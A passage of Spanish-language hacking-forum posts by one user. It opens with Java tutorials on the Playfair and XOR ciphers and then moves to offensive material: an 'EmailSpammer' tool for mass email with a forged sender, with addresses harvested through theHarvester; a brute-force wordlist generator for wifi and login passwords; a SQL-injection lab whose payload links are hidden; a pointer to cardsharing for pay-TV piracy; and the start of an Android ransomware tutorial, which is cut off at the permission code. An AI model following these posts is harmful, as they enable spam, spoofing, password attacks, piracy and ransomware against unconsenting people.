arrayTemporal[cont]=caracter;
cont++;
}



//Se ingresan a la matriz todos los caracteres (con esto tendriamos nuestra matriz lista)
cont=0;
for(int i=0;i<matris.length;i++){
for(int j=0;j<matris[0].length;j++){
matris[i][j]=arrayTemporal[cont];
cont++;
}

}

return matris;
}



y Listo con esta funcion ya generamos nuestra matriz en base a la clave, ahora necesitamos una funcion que nos forme cadenas de caracteres, si la cadena tiene un tamaño impar se le agrega el caracter 'x' al final para que sea par y tambien sabiendo que si hay dos caractere repetidos coloque una x en la mitad, por ejemplo:
LLAVE -> LXLAVE 
para que en el momento de cifrar no queden cifras iguales pegadas y pues un sabrian que es una letra que se repite como la ll o la rr algo asi.

Esta funcion recibe por parametro el mensaje y nos devuelve una matris de parejas de caracteres con la anterior regla, una salvedad, en los videos dice que al mensaje se le deben eliminar los espacios, yo en la matriz  ingrese en caracter espacio para no tener que hacer esto y que los mensajes se descifren igual como el original:

Código: java

public static char [][] GenerarParejas(String mensaje){

int tam = mensaje.length();

//Se revisa que no alla caracteres repetidos consecutivamente como "llave"
//tendria que queda lxlave

char [] revision= mensaje.toCharArray();
ArrayList<Character> arrayRevision = new ArrayList<>();
for(int i=0;i<mensaje.length();i++){
arrayRevision.add(revision[i]);

if(i+1<revision.length){
if(revision[i]==revision[i+1]){
arrayRevision.add('x');

}
}
}

//Revisamos que el mensaje quede de un tamaño par si no es asi agregamos x al final para volverlo par
if(arrayRevision.size()%2!=0){
arrayRevision.add('x');
}


//Se forma una matris de 2 columnas para las parejas de caracteres
char [][] parejaCaracteres= new char [arrayRevision.size()/2][2];
int cont =0;
for(int i=0;i<parejaCaracteres.length;i++){
for(int j=0;j<parejaCaracteres[1].length;j++){
parejaCaracteres[i][j]=arrayRevision.get(cont);
cont++;
}
}

return parejaCaracteres;
}


Listo ya tenemos dos funciones listas, pero ahora vamos a necesitar ayuda de una tercera funcion que se va a encargar de darme la posicion  de un caracter en la matriz para poder aplicar las reglas de que si esta en la misma fila o columna... etc
Bueno la funcion me recibe como parametros un caracter que sera en que vamos a buscar y una matriz en la cual vamos a buscar el caracter, quedaria algo asi:

Código: java


public static int[] ObtenerPosicionCaracter(char caracter,char [][] matris){

int [] direccion = new int [2];


for(int i =0;i<matris.length;i++ ){

for(int j=0;j<matris[i].length;j++){

if(caracter == matris[i][j]){
//fila
                                          direccion[0]=i;
                                           //columna
direccion[1]=j;
}
}

}

return direccion;

}


y Listo ya tenemos nuestras funciones listas para utilizar en nuestra funcion de cifrar, que nos recibe un mensaje y una clave como parametros, genera la matriz en base a la clave, genera las parejas de caracteres y va por cada pareja de caracteres aplicando las reglas, quedaria algo asi:

Código: java

public static String Cifrado_Playfair(String mensaje,String clave){

//Se genera la matriz
char [][] matris = GenerarMatriz(clave);
//Se generan las parejas de caracteres
char [][] parejaCaracteres = GenerarParejas(mensaje);

System.out.println("\n \t Matriz");
//Imprimimos la matriz con la misma funcion que hemos utilizado
//en todo el taller
Imprimir(matris);

//Se imprimen las parejas de caracteres
System.out.println("\n \t Parejas de caracteres");
Imprimir(parejaCaracteres);
String cipher = "";

//Los array de direcciones de las dos letras
int [] direcciones ;
int [] direcciones2;
int columna =0;
//Se va por todas las parejas de caracteres
for(int i=0;i<parejaCaracteres.length;i++){


// Se manda a obtener las posiciones de los caracteres
direcciones= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
columna++;
direcciones2= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);


if(columna==1){
columna=0;
}

// Se guardan en variables para asi comparar las reglas
int fila1= direcciones[0];
int columna1= direcciones[1];

int fila2= direcciones2[0];
int columna2= direcciones2[1];


// Si estan en la misma fila se le suma +1 a la columna
int fTemporal;
if(fila1==fila2){
fTemporal= columna1+1;
if(fTemporal==matris.length){
fTemporal=0;
}

cipher+=matris[fila1][fTemporal];


fTemporal = columna2+1;
if(fTemporal==matris.length){
fTemporal=0;
}

cipher+=matris[fila2][fTemporal];
}


// si estan en la misma columna se le suma +1 a la fila
int cTemporal;
if(columna1==columna2){

cTemporal = fila1+1;

if(cTemporal == matris.length){
cTemporal=0;
}

cipher+= matris[cTemporal][columna1];

cTemporal = fila2+1;

if(cTemporal == matris.length){
cTemporal=0;
}

cipher+= matris[cTemporal][columna2];


}

// si no cumple ninguna de las anteriores
// se coloca la diagonal opuesta, se invierten las columnas

if(fila1!=fila2 & columna1!=columna2){

cipher+=matris[fila1][columna2];
cipher+=matris[fila2][columna1];


}
}

// se retorna el cipher
return cipher;
}


Y listo ya tendriamos nuestra funcion de cifrar lista!, ahora vamos a programar nuestra funcion de descifrar que hace casi lo mismo que la anterior pero de para atras xd, esta funcion nos recibe como parametros el mensaje y la clave, quedari algo asi


Código: java


public static String Descifrado_Playfair(String cipher,String clave){

String mensaje ="";

char [][] matris= GenerarMatriz(clave);
char [][] parejas = GenerarParejas(cipher);

int [] direcciones;
int [] direcciones2;

int columnas=0;
for(int i=0;i<parejas.length;i++){


direcciones= ObtenerPosicionCaracter(parejas[i][columnas],matris);
columnas++;


int fila1= direcciones[0];
int columna1= direcciones[1];


direcciones2= ObtenerPosicionCaracter(parejas[i][columnas],matris);
if(columnas==1){columnas=0;}

int fila2= direcciones2[0];
int columna2= direcciones2[1];

//Filas iguales ya no se suma , si no que ahora se resta -1 a la columna
int fTemporal;
if(fila1==fila2){
fTemporal= columna1-1;
if(fTemporal<0){
fTemporal=matris.length-1;
}

mensaje+=matris[fila1][fTemporal];


fTemporal = columna2-1;
if(fTemporal<0){
fTemporal=matris.length-1;
}

mensaje+=matris[fila2][fTemporal];
}


int cTemporal;
//Columnas iguales ya no se suma , si no que ahora se resta -1 a la fila

if(columna1==columna2){

cTemporal = fila1-1;

if(cTemporal<0){
cTemporal=matris.length-1;
}

mensaje+= matris[cTemporal][columna1];

cTemporal = fila2-1;

if(cTemporal<0){
cTemporal=matris.length-1;
}

mensaje+= matris[cTemporal][columna2];


}

//Si no se cumple ninguna se coloca la diagonal opuesta, esto no cambia
if(fila1!=fila2 & columna1!=columna2){

mensaje+=matris[fila1][columna2];
mensaje+=matris[fila2][columna1];

}

}

return mensaje;
}






Aca la funcion imprimir por si les genera error :v, es una simple funcion que me imprime una matriz:

Código: java

public static void Imprimir(char [][] matris){
for(int i=0;i<matris.length;i++){
for(int j=0;j<matris[i].length;j++){
System.out.print(matris[i][j]+" ");

}
System.out.println("");

}
}


Y bueno ya tendriamos nuestra funcion de cifrado y descifrado compañer@s!
el programa completo quedaria algo asi:

Código: java

import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.Scanner;

public class CifradoPlayfair {


public static void main(String[] args) {
// TODO Auto-generated method stub


System.out.println("\t   ---------------------");
System.out.println("\t  | *  CIFRADO PLAYFAIR * |");
System.out.println("\t   ---------------------");
Scanner sc = new Scanner(System.in);

System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();
System.out.println("Ingrese la Clave:  ");
String clave  = sc.nextLine();


String cipher = Cifrado_Playfair(mensaje,clave);
String mensaje2 = Descifrado_Playfair(cipher,clave);

System.out.println("\nCipher: "+cipher);
System.out.println("Mensaje descifrado: "+mensaje2);

}




public static String Descifrado_Playfair(String cipher,String clave){

String mensaje ="";

char [][] matris= GenerarMatriz(clave);
char [][] parejas = GenerarParejas(cipher);

int [] direcciones;
int [] direcciones2;

int columnas=0;
for(int i=0;i<parejas.length;i++){


direcciones= ObtenerPosicionCaracter(parejas[i][columnas],matris);
columnas++;


int fila1= direcciones[0];
int columna1= direcciones[1];


direcciones2= ObtenerPosicionCaracter(parejas[i][columnas],matris);
if(columnas==1){columnas=0;}

int fila2= direcciones2[0];
int columna2= direcciones2[1];

//Filas iguales ya no se suma , si no que ahora se resta -1 a la columna
int fTemporal;
if(fila1==fila2){
fTemporal= columna1-1;
if(fTemporal<0){
fTemporal=matris.length-1;
}

mensaje+=matris[fila1][fTemporal];


fTemporal = columna2-1;
if(fTemporal<0){
fTemporal=matris.length-1;
}

mensaje+=matris[fila2][fTemporal];
}


int cTemporal;
//Columnas iguales ya no se suma , si no que ahora se resta -1 a la fila

if(columna1==columna2){

cTemporal = fila1-1;

if(cTemporal<0){
cTemporal=matris.length-1;
}

mensaje+= matris[cTemporal][columna1];

cTemporal = fila2-1;

if(cTemporal<0){
cTemporal=matris.length-1;
}

mensaje+= matris[cTemporal][columna2];


}

//Si no se cumple ninguna se coloca la diagonal opuesta, esto no cambia
if(fila1!=fila2 & columna1!=columna2){

mensaje+=matris[fila1][columna2];
mensaje+=matris[fila2][columna1];

}

}

return mensaje;
}



public static String Cifrado_Playfair(String mensaje,String clave){

//Se genera la matriz
char [][] matris = GenerarMatriz(clave);
//Se generan las parejas de caracteres
char [][] parejaCaracteres = GenerarParejas(mensaje);

System.out.println("\n \t Matriz");
//Imprimimos la matriz con la misma funcion que hemos utilizado
//en todo el taller
Imprimir(matris);

//Se imprimen las parejas de caracteres
System.out.println("\n \t Parejas de caracteres");
Imprimir(parejaCaracteres);
String cipher = "";

//Los array de direcciones de las dos letras
int [] direcciones ;
int [] direcciones2;
int columna =0;
//Se va por todas las parejas de caracteres
for(int i=0;i<parejaCaracteres.length;i++){


// Se manda a obtener las posiciones de los caracteres
direcciones= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
columna++;
direcciones2= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);


if(columna==1){
columna=0;
}

// Se guardan en variables para asi comparar las reglas
int fila1= direcciones[0];
int columna1= direcciones[1];

int fila2= direcciones2[0];
int columna2= direcciones2[1];


// Si estan en la misma fila se le suma +1 a la columna
int fTemporal;
if(fila1==fila2){
fTemporal= columna1+1;
if(fTemporal==matris.length){
fTemporal=0;
}

cipher+=matris[fila1][fTemporal];


fTemporal = columna2+1;
if(fTemporal==matris.length){
fTemporal=0;
}

cipher+=matris[fila2][fTemporal];
}


// si estan en la misma columna se le suma +1 a la fila
int cTemporal;
if(columna1==columna2){

cTemporal = fila1+1;

if(cTemporal == matris.length){
cTemporal=0;
}

cipher+= matris[cTemporal][columna1];

cTemporal = fila2+1;

if(cTemporal == matris.length){
cTemporal=0;
}

cipher+= matris[cTemporal][columna2];


}

// si no cumple ninguna de las anteriores
// se coloca la diagonal opuesta, se invierten las columnas

if(fila1!=fila2 & columna1!=columna2){

cipher+=matris[fila1][columna2];
cipher+=matris[fila2][columna1];


}
}

// se retorna el cipher
return cipher;
}


public static int[] ObtenerPosicionCaracter(char caracter,char [][] matris){

int [] direccion = new int [2];


for(int i =0;i<matris.length;i++ ){

for(int j=0;j<matris[i].length;j++){

if(caracter == matris[i][j]){
direccion[0]=i;
direccion[1]=j;
}
}

}

return direccion;

}

public static char [][] GenerarParejas(String mensaje){

int tam = mensaje.length();

//Se revisa que no alla caracteres repetidos consecutivamente como "llave"
//tendria que queda lxlave

char [] revision= mensaje.toCharArray();
ArrayList<Character> arrayRevision = new ArrayList<>();
for(int i=0;i<mensaje.length();i++){
arrayRevision.add(revision[i]);

if(i+1<revision.length){
if(revision[i]==revision[i+1]){
arrayRevision.add('x');

}
}
}

//Revisamos que el mensaje quede de un tamaño par si no es asi agregamos x al final para volverlo par
if(arrayRevision.size()%2!=0){
arrayRevision.add('x');
}


//Se forma una matris de 2 columnas para las parejas de caracteres
char [][] parejaCaracteres= new char [arrayRevision.size()/2][2];
int cont =0;
for(int i=0;i<parejaCaracteres.length;i++){
for(int j=0;j<parejaCaracteres[1].length;j++){
parejaCaracteres[i][j]=arrayRevision.get(cont);
cont++;
}
}

return parejaCaracteres;
}




public static char [][] GenerarMatriz (String clave){
char [][] matris = new char [7][7];

char [] caracteresClave = clave.toCharArray();
char [] numeros = {'0','1','2','3','4','5','6','7','8','9'};
char [] letras = new char [26];
char [] signos = {'+','-','$','&',',','.',' ','_','*','%','=','?','¿'};
LinkedHashSet<Character> caracteresMatriz = new LinkedHashSet<>();



//Eliminamos las letras repetidas de a clave
//Se ingresa la clave sin caracteres repetidos a la coleccion que tendra todos los caracteres de la matris

for(int k=0;k<caracteresClave.length;k++){
caracteresMatriz.add(caracteresClave[k]);
}

//Se generan las letras del abecedario en base al codigo ASCII
for(int i=97;i<123;i++){
letras[i-97] = (char)i;
}



//Se ingresa el resto del abecedario
for(int i=0;i<letras.length;i++){
caracteresMatriz.add(letras[i]);
}

//Se ingresan los numeros
for(int i=0;i<numeros.length;i++){
caracteresMatriz.add(numeros[i]);
}

//Se ingresan los signos
for(int i=0;i<signos.length;i++){
caracteresMatriz.add(signos[i]);
}

//Se convierte el linkedhashSet en un array para luego meterlo en la matriz
int cont;
char [] arrayTemporal = new char [caracteresMatriz.size()];
cont=0;
for(char caracter:caracteresMatriz){
arrayTemporal[cont]=caracter;
cont++;
}



//Se ingresan a la matriz todos los caracteres (con esto tendriamos nuestra matriz lista)
cont=0;
for(int i=0;i<matris.length;i++){
for(int j=0;j<matris[0].length;j++){
matris[i][j]=arrayTemporal[cont];
cont++;
}

}

return matris;
}

public static void Imprimir(char [][] matris){
for(int i=0;i<matris.length;i++){
for(int j=0;j<matris[i].length;j++){
System.out.print(matris[i][j]+" ");

}
System.out.println("");

}
}



}





Listo ahora lo pondre a funcionar con el mensaje: colombia tierra querida
y con la clave:  user_$
(recuerden que los caracteres del mensaje deben estar en la matriz, para este taller no utilizare nada de mayusculas ni simbolos raros)



y me da como resultado:

Cipher: hkmpjfpis1da_w_u.tsrafie
Mensaje descifrado: colombia tierxra querida

queda tierxra porque le pusimos la regla de que en las repetidas colocara una x en la mitad recuerden,

Y listo ya tendriamos otro algoritmo listo!

EJERCICIO #e
Utilize el algoritmo para descifrar este mensaje:
vc4kb2b1sk%kpsebk_nx1cqv

Esta es la clave: en1gm4





Cifrado XOR


Bueno si han llegado hasta aca ya saben masomenos como funciona todo ese mundo de la criptografia, mueva alla, corrase tantos puestos y asi, ahora vamos a implementar otro algoritmo de cifrado pero esta vez utilizando una compuerta logica XOR

primero que todo tenemos que saber que es una compuerta logica XOR y antes de eso tener conceptos de numeros binarios ya que estas compuertas se les aplican a los binarios,

sabemos que toda la informacion en nuestra computadora por debajo al final no son las que 1 y 0;

Les dejare esta guia para que aprendan que es un bit y un byte, los que ya saben la pueden obviar

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno ya sabiendo esto que 1 byte representa 8 bits y lo demas vamos a estudiar que es una compuerta logica, para lo cual les dejo aca la informacion, no la colocare aca porque seria nada mas copiar y pegar y ps para que.

CompuertaXOR

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (pueden buscar informacion adicional si no quedo muy claro es importante que sepan como funciona)

bueno despues de saber como funciona esta compuerta tenemos esta tabla de verdad que nos ayuda a entender mejor:


Bueno ya sabiendo esto y como funciona ahora si vamos a proceder a codear el algoritmo:

Primero debemos saber que un caracter es representado por un byte, osea 8 bits que al sumarlos por medio de codigo binario nos dara el codigo ascii del caracter

lean esto para que entiendan como funciona el cifrado xor:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


por cuestiones de tiempo no explicare este algoritmo paso a paso si no que mostrare su funcionamiento, basicamente lo que hace es convertir el mensaje en un arreglo de caracteres, obtiene el codigo binario de ese caracter, luego convierte la clave en un arreglo de caracter y obtiene el binario de cada caracter y le aplica una compuerta XOR a estos dos binarios y para descrifrar hace lo mismo con el mensaje cifrado y la clave

Código: java

import java.util.Scanner;

public class CifradoXOR {


public static void main(String[] args) {
// TODO Auto-generated method stub

Scanner sc = new Scanner(System.in);
System.out.println("\t   ------------------");
System.out.println("\t  | *  CIFRADO XOR * |");
System.out.println("\t   ------------------");

System.out.println("Ingrese el Mensaje: ");
String mensaje  = sc.nextLine();
System.out.println("Ingrese clave");
String clave = sc.nextLine();

//Se convierte el mensaje a array de binarios
String [] mensajeB = TextoABinario(mensaje);
String [] claveB = TextoABinario(clave);


System.out.println("");
System.out.println("Mensaje: "+mensaje);
System.out.println("Clave: "+clave);
System.out.println("");

sc.close();
System.out.println("-------------------------------------------------------");
System.out.println("\t\t* Cifrando *");
System.out.println("-------------------------------------------------------");

//Se manda a cifrar
String [] resultado = Cifrado_Descifrado_XOR(mensajeB,claveB);


Imprimir(mensajeB);

System.out.print(": <-- bytes del mensaje");

System.out.println("");

Imprimir(claveB);
System.out.print(": <-- bytes de clave");

System.out.println("\n-------------------------------------------------------");

Imprimir(resultado);
System.out.print(": <-- bytes de cipher");

System.out.println("\n-------------------------------------------------------");
System.out.print(" - Mensaje Cifrado: ");
System.out.print(BinarioATexto(resultado));
System.out.println("\n-------------------------------------------------------");
System.out.println("\t\t* Descifrando *");
System.out.println("-------------------------------------------------------");

//Se manda a descifrar;
String[] resultado2 = Cifrado_Descifrado_XOR(resultado,claveB);


Imprimir(resultado);
System.out.print(": <-- bytes del cipher");

System.out.println("");
Imprimir(claveB);

System.out.print(": <-- bytes de clave");
System.out.println("\n-------------------------------------------------------");

Imprimir(resultado2);
System.out.println(": <-- bytes del mensaje desencriptado");
System.out.println("\n-------------------------------------------------------");
System.out.print(" - Mensaje Descrifrado: ");
System.out.print(BinarioATexto(resultado2));
System.out.println("\n-------------------------------------------------------");
}

public static String CompuertaXOR (String binario1 , String binario2){

char [] operando1 = binario1.toCharArray();
char [] operando2 = binario2.toCharArray();
char [] r =new char [operando1.length];

for(int i=0;i<operando1.length ;i++){


if(operando1[i]!=operando2[i]){
r [i]='1';
}else {
r [i]= '0';
}
}

String re="";
for(int j=0;j<r.length;j++){
re+=r[j];
}

return re;
}

public static String [] Cifrado_Descifrado_XOR (String [] mensaje,String [] clave){

String [] resultado = new String [mensaje.length];
int puntero=0;

for(int i =0 ;i<mensaje.length;i++){

if(puntero>=clave.length){
puntero =0;
}
resultado[i]= CompuertaXOR(mensaje[i],clave[puntero]);

puntero++;
}

return resultado;
}


public static String [] TextoABinario(String texto){

char caracter;
int codigoASCII;
String binario;
String [] binarios = new String [texto.length()];

for (int i=0;i<texto.length();i++){

caracter = texto.charAt(i);
codigoASCII = (int) caracter;

binario = "";


for(int j=7;j>=0;j--){
if(codigoASCII>=Math.pow(2, j)){
codigoASCII-=Math.pow(2,j);
binario +="1";
}else{
binario+="0";
}
}

binarios[i]= binario.toString();


}
return binarios;
}


public static String BinarioATexto(String [] binarios){
String texto="";

for(int j=0;j<binarios.length;j++){
char [] bin = binarios[j].toCharArray();

int decimal =0;

int contador=0;
for(int i=bin.length-1;i>-1;i--){

if(bin[contador]=='1'){
decimal+=Math.pow(2, i);
}

contador++;
}

texto+= (char) decimal;

}

return texto;
}

public static void Imprimir(String [] arreglo){

for(int i=0;i<arreglo.length;i++){
System.out.print(arreglo[i]+" ");
}
}


}


Lo pobrare con el mensaje: Colombia
y la clave: hacking


me da como cipher: + 
y luego de descifrar: Colombia


Bueno amigos esto es todo por hoy, aca no acaba este post seguire agregando algoritmos mas complejos con el paso del tiempo, espero les sirva de algo, ami me sirvio para profundizar mis conocimientos, me gusta todo esto de la criptografia y pues si esto lo ve algun programador lo podria utilizar en sus desarrollos para mejorar su seguridad, un saludo desde Colombia!

#6
HOLA COMPAÑER@S

Hoy les vengo a enseñar una herramienta que cree que nos permite enviar correos masivamente desde un servidor que tenga el servicio smtp instalado, casi todos lo tienen hasta los que son gratis, esta hecho en php, html5 y css .

primero descargamos la carpeta EmailSpammer que se encuentra aca:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

y dentro de la misma descomprimimos el archivo ckeditor.tar.gz , les deben quedar estos 3 archivos dentro de la carpeta EmailSpammer si quieren pueden eliminar el arhivo comprimido


luego vamos a un servidor que nos servira para enviar los correos, puede ser uno gratuito como 000webhost y se registran con un correo fake o algun servidor que ya tengan por hay ;)

Bueno subimos la carpeta EmailSpammer a nuestro servidor  puede ser por ftp o como quieran y luego vamos a nuestroservidor/EmailSpammer


Listo ahora solo tenemos que tener una lista de correos, puede ser una que ya tengamos o pueden utilizar theHarvester para buscarlos, solo es instalarlo y por ejemplo para correos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta seria algo asi: (estoy en debian hay que instalar theHarvester, kali linux ya lo trae por defecto)

python ./theHarvester.py -d No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -l 500 -b google

y copiamos los correos a una hoja de texto y la guardamos como un archivo .txt

Luego solo colocan De: que vendria siendo quien envia el mensaje, el servidor lo enviara a nombre de ese correo, pueden poner el que quieran, seleccionan el archivo de texto con los correos(por ahora solo lee archivos de texto .txt)
colocan el asunto y luego llenan el mensaje, puede ser un mensaje con imagenes y todo bien bonito jaja, cuando ya lo tengan solo le dan enviar y listo el email estara enviado!

En la proxima actualizacion pondre que pueda leer archivos excel porque algunas bases de datos estan asi y serviria, saludos espero que les sirva de algo.

#7
HOLA COMPAÑER@S

Hace rato que no publicaba nada, estaba ocupado pero ya es hora de volver a lo que me gusta, esto de el pentesting, hoy les vengo a presentar HLuna un pack de herramientas que estoy desarrolando para sistemas linux, esta hecho en c++, por ahora solo cuenta con una herramienta, un generador de diccionarios para fuerza bruta, pero lo estare actualizando para asi agregar mas herramientas, les invito a que lo prueben da buenos resultados en cuanto a contraseñas wifi y logins basicos. (Probado en sistemas Debian y en Kali )


Bueno sin tanto rodeo les voy a enseñar como instalarlo
aca esta el github con el paso a paso por si acaso:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creamos una carpeta que se llame HLuna,

mkdir HLuna

Descargamos el archivo HLuna y lo pegamos dentro de esta carpeta, el archivo se encuentra aca  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Luego damos permisos de ejecucion

chmod +x HLuna

y despues procedemos a correrlo

./HLuna

y listo muchachos,les saldra esto por consola


Trate de hacerlo lo mas intuitivo posible, aparece un menu, pulsan 1 para generar el diccionario

Luego nos preguntara cuantos palabras queremos generar, yo le puse 1024 para este ejemplo, pero todo depende de la compejitud de el diccionario


Luego nos pedira las palabras guias, estas son las palabras que el usuario creen que estaran en la contraseña seguidas de enter, por ejemplo:

administrador
admin
user
2017
usuario
acceso

Cuando ya tengamos todas pulsamos 0


Luego nos preguntara la ruta para guardar el diccionario por ejemplo /home/usuario/Escritorio/archivo.txt  aunque si colocan solo el nombre de el archivo por ejemplo diccionario.txt este lo generara en la ubicacion donde tengamos el archivo HLuna, en mi caso lo puse en el escritorio



y listo!, vamos a la ubicacion que pusimos anteriormente y ya estara nuestro diccionario creado



Pondre mas funcionalidades, apenas estoy empezando, espero les sirva, un gusto!!

EL CONOCIMIENTO ES LIBRE!




#8
Hola muchach@s! llevaba tiempo sin pasarme por aqui pero pues ya era hora de volver, esta vez les traigo un laboratorio que me arme para poder enseñar como se hace una injection sql manualmente, espero les guste.

Pueden montarlo en su propia maquina con un servidor local como xamp o wamp que ya tiene todo listo o a su propio servidor en internet, primero vamos a crear una base de datos MySql en nuestro servidor y crearemos una tabla llamada Clientes, el script quedaria algo asi:

CREATE TABLE `NOMBRE_BD`.`Clientes` ( `id` INT(2) NOT NULL AUTO_INCREMENT , `user` VARCHAR(30) NOT NULL , `password` VARCHAR(30) NOT NULL , `correo` VARCHAR(40) NOT NULL , `saldo` INT(3) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB;

y se veria algo asi:


llenan la tabla con algunos datos.

Aca les dejo los archivos necesarios para subir al servidor:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Despues de descargarlos abrimos los tres archivos .php que se descargaron el archivo index.php, registro.php,sqli.php y llenan los datos como USUARIO_BD, CONTRASEÑA_BD Y NOMBRE_BD, depende tengan configurada su base de datos, al terminar esto solo queda subir todos los archivos a una carpeta del servidor y listo!


Abrimos a nuestro navegador y nos dirimos a donde tengamos los archivos por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nos saldra un login, primero nos registramos y luego iniciamos sesion son los anteriores datos, y listo estaremos adentro
, ahora si a jugar:



INYECCION:


PRIMERO SE MIRA SI ES VULNERABLE

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.com/taller_sql/sqli.php?id=1'


SE BUSCA EL NUMERO DE COLUMNAS DE LA TABLA

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


SE MIRAN QUE CAMPOS CORRESPONDEN A QUE COLUMNA

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


SE REVISA QUE VERSION DE BASE DE DATOS UTILIZA

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SE PUEDE VER EL TIPO DE CODIFICACION UTILIZA

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SE PUEDE OBTENER EL USUARIO CON EL QUE SE ESTA TRABJANDO LA BD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

LISTA EL NUMERO DE TABLAS DE LA BD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

"convertir el nombre de la tabla en hexadecimal" Clientes: 436c69656e746573

VAMOS A IMPRIMIR EL NOMBRE DE LAS COLUMNAS DE LA TABLA DE LA BASE DE DATOS

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y LISTO AHORA SI PODEMOS OBTENER LOS DATOS

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

TODO ESTO LO PODEMOS HACER GRACIAS A QUE NO VALIDAMOS EL ID QUE NOS LLEGA POR LE METODO GET, CON UNA FUNCION QUE NOS LIMPIE ESTA VARIBALE LO PODEMOS ARREGLAR, SOLO DEBEMOS HACER ESTO EN LA LINEA 31 DE EL ARCHIVO SQLI.PHP TENEMOS QUE:

   $id =  $_GET["id"];

y a lo ultimo hay una funcionar que se llama limpiarString(), lo que tenemos que hacer es hacer que el id que obtenemos por get se limpie asi:

   $id =  limpiarString($_GET["id"]);

y listo, esta es una forma muy basica para detenerlo, php ya tiene unas funciones como htmlentities o htmlspecialchars, ustedes deciden.

LISTO AMIGOS SU PROPIO LABORATORIO DE SQL INJECTION, ESPERO QUE LES SIRVA,UN SALUDO!

#9
Hacking / CardSharing
Septiembre 03, 2017, 01:34:33 AM
Hola compañer@s, me parecio miy importante y creo que lo debo compartir, como ver tvs de paga y canales premium gratis!, hay que tener mucha paciencia pero se puede la tecnica se llama CardSharing aca un manual de el paso a paso y un video de la rooted donde hablan de esto

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


#10
Hola compañer@s!

Quiero compartirles algo en lo que eh estado trabajando, este año se hablo mucho de los famosos rasonware, del ciber ataque mundial que sufrieron muchas empresas y demas, ps bueno, primero entendamos que es un rasonware y como opera.

Segun wikipedia:

CitarUn ransomware (del inglés ransom, 'rescate', y ware, por software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.1​ Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.

En este tutorial les enseñare como crear un simple rasonware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permitira encriptar archivos de texto, imagenes y musica.
Bueno y ps como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda(despues les explicare esta parte)

Antes que nada quiero decirles que este tutorial va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:




Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaria:

Código: java
<TextView
            android:id="@+id/textView4"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_gravity="center_vertical|center_horizontal|center"
            android:fontFamily="monospace"
            android:text="Contraseña"
            android:textSize="18sp" />

        <EditText
            android:id="@+id/clavesita"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:ems="10"
            android:inputType="textPassword" />

        <Button
            android:id="@+id/boton1"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Encriptar" />

        <Button
            android:id="@+id/boton2"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Desencriptar" />



algo asi se veria:



Listo y aca empezamos con lo interesante, el codigo!
presten atencion a cada detalle que nombro, muchas 'cositas' me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow (6), tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:


Código: java
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>



ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecucion:


Código: java
//Verificamos si ya tiene permisos

  if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {

  Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();

//Ya tenemos los permisos necesarios
//Podemos proceder a trabajar con la memoria de el celular

} else{

//Si no tenemos permisos, creare una funcion para pedirlos

PedirPermisos();

}



fuera del metodo OnCreate, definimos la funcion:

Código: java
public void PedirPermisos() {

        if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {

            Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
        }
        ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
                MY_PERMISSIONS_REQUEST);


    }



